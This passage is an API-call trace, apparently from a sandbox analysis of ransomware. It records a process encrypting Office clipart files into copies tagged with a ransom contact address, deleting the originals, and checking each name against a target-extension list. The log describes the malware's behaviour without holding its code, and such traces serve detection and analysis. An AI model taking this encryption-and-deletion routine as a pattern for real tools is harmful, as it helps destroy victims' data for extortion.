	[0168.307] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0168.308] GetLastError () returned 0x0
	[0168.308] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x5bfc, lpOverlapped=0x0) returned 1
	[0168.365] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x5c00, lpOverlapped=0x0) returned 1
	[0168.366] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.602] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.603] SetEndOfFile (hFile=0x360) returned 1
	[0168.603] CloseHandle (hObject=0x360) returned 1
	[0168.604] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.604] SetEndOfFile (hFile=0x388) returned 1
	[0168.607] CloseHandle (hObject=0x388) returned 1
	[0168.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1
	[0168.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0168.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0168.870] lstrlenW (lpString=".doc") returned 4
	[0168.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.870] lstrlenW (lpString=".docx") returned 5
	[0168.870] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0168.870] lstrlenW (lpString=".pdf") returned 4
	[0168.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.871] lstrlenW (lpString=".xls") returned 4
	[0168.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.871] lstrlenW (lpString=".xlsx") returned 5
	[0168.871] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0168.871] lstrlenW (lpString=".ppt") returned 4
	[0168.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0168.871] lstrlenW (lpString=".zip") returned 4
	[0168.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.871] lstrlenW (lpString=".rar") returned 4
	[0168.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.871] lstrlenW (lpString=".bz2") returned 4
	[0168.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.871] lstrlenW (lpString=".7z") returned 3
	[0168.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0168.871] lstrlenW (lpString=".dbf") returned 4
	[0168.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0168.871] lstrlenW (lpString=".1cd") returned 4
	[0168.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0168.871] lstrlenW (lpString=".jpg") returned 4
	[0168.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.907] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=13784) returned 1
	[0168.907] CloseHandle (hObject=0x51c) returned 1
	[0168.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220
	[0169.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0169.046] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.046] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0169.047] GetLastError () returned 0x0
	[0169.047] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x35d8, lpOverlapped=0x0) returned 1
	[0169.050] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x35e0, lpOverlapped=0x0) returned 1
	[0169.052] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.052] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.052] SetEndOfFile (hFile=0x360) returned 1
	[0169.052] CloseHandle (hObject=0x360) returned 1
	[0169.052] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.052] SetEndOfFile (hFile=0x558) returned 1
	[0169.063] CloseHandle (hObject=0x558) returned 1
	[0169.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1
	[0169.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0169.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0169.064] lstrlenW (lpString=".doc") returned 4
	[0169.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.064] lstrlenW (lpString=".docx") returned 5
	[0169.064] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.064] lstrlenW (lpString=".pdf") returned 4
	[0169.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.064] lstrlenW (lpString=".xls") returned 4
	[0169.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.065] lstrlenW (lpString=".xlsx") returned 5
	[0169.065] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.065] lstrlenW (lpString=".ppt") returned 4
	[0169.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0169.065] lstrlenW (lpString=".zip") returned 4
	[0169.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.065] lstrlenW (lpString=".rar") returned 4
	[0169.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.065] lstrlenW (lpString=".bz2") returned 4
	[0169.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.065] lstrlenW (lpString=".7z") returned 3
	[0169.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0169.065] lstrlenW (lpString=".dbf") returned 4
	[0169.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0169.065] lstrlenW (lpString=".1cd") returned 4
	[0169.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0169.065] lstrlenW (lpString=".jpg") returned 4
	[0169.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.066] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=14132) returned 1
	[0169.066] CloseHandle (hObject=0x558) returned 1
	[0169.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220
	[0169.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0169.067] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.067] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0169.070] GetLastError () returned 0x0
	[0169.070] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x3734, lpOverlapped=0x0) returned 1
	[0169.089] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x3740, lpOverlapped=0x0) returned 1
	[0169.091] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.091] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.091] SetEndOfFile (hFile=0x570) returned 1
	[0169.091] CloseHandle (hObject=0x570) returned 1
	[0169.092] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.092] SetEndOfFile (hFile=0x558) returned 1
	[0169.096] CloseHandle (hObject=0x558) returned 1
	[0169.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1
	[0169.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0169.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0169.097] lstrlenW (lpString=".doc") returned 4
	[0169.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.097] lstrlenW (lpString=".docx") returned 5
	[0169.097] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.097] lstrlenW (lpString=".pdf") returned 4
	[0169.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.098] lstrlenW (lpString=".xls") returned 4
	[0169.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.098] lstrlenW (lpString=".xlsx") returned 5
	[0169.098] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.098] lstrlenW (lpString=".ppt") returned 4
	[0169.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0169.098] lstrlenW (lpString=".zip") returned 4
	[0169.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.098] lstrlenW (lpString=".rar") returned 4
	[0169.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.098] lstrlenW (lpString=".bz2") returned 4
	[0169.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.098] lstrlenW (lpString=".7z") returned 3
	[0169.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0169.098] lstrlenW (lpString=".dbf") returned 4
	[0169.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0169.098] lstrlenW (lpString=".1cd") returned 4
	[0169.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0169.099] lstrlenW (lpString=".jpg") returned 4
	[0169.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.099] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=27084) returned 1
	[0169.099] CloseHandle (hObject=0x558) returned 1
	[0169.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220
	[0169.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0169.101] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.101] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0169.102] GetLastError () returned 0x0
	[0169.102] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x69cc, lpOverlapped=0x0) returned 1
	[0169.111] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x69d0, lpOverlapped=0x0) returned 1
	[0169.134] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.134] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.135] SetEndOfFile (hFile=0x570) returned 1
	[0169.135] CloseHandle (hObject=0x570) returned 1
	[0169.135] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.135] SetEndOfFile (hFile=0x558) returned 1
	[0169.140] CloseHandle (hObject=0x558) returned 1
	[0169.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1
	[0169.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0169.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0169.142] lstrlenW (lpString=".doc") returned 4
	[0169.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.142] lstrlenW (lpString=".docx") returned 5
	[0169.142] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.142] lstrlenW (lpString=".pdf") returned 4
	[0169.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.142] lstrlenW (lpString=".xls") returned 4
	[0169.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.142] lstrlenW (lpString=".xlsx") returned 5
	[0169.142] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.142] lstrlenW (lpString=".ppt") returned 4
	[0169.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0169.142] lstrlenW (lpString=".zip") returned 4
	[0169.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.142] lstrlenW (lpString=".rar") returned 4
	[0169.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.142] lstrlenW (lpString=".bz2") returned 4
	[0169.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.142] lstrlenW (lpString=".7z") returned 3
	[0169.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0169.142] lstrlenW (lpString=".dbf") returned 4
	[0169.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0169.142] lstrlenW (lpString=".1cd") returned 4
	[0169.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0169.143] lstrlenW (lpString=".jpg") returned 4
	[0169.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.143] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=17200) returned 1
	[0169.143] CloseHandle (hObject=0x558) returned 1
	[0169.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220
	[0169.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0169.145] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.145] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0169.146] GetLastError () returned 0x0
	[0169.146] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x4330, lpOverlapped=0x0) returned 1
	[0169.172] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x4340, lpOverlapped=0x0) returned 1
	[0169.174] ReadFile (in: hFile=0x558, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.174] WriteFile (in: hFile=0x570, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.174] SetEndOfFile (hFile=0x570) returned 1
	[0169.174] CloseHandle (hObject=0x570) returned 1
	[0169.174] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.174] SetEndOfFile (hFile=0x558) returned 1
	[0169.178] CloseHandle (hObject=0x558) returned 1
	[0169.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
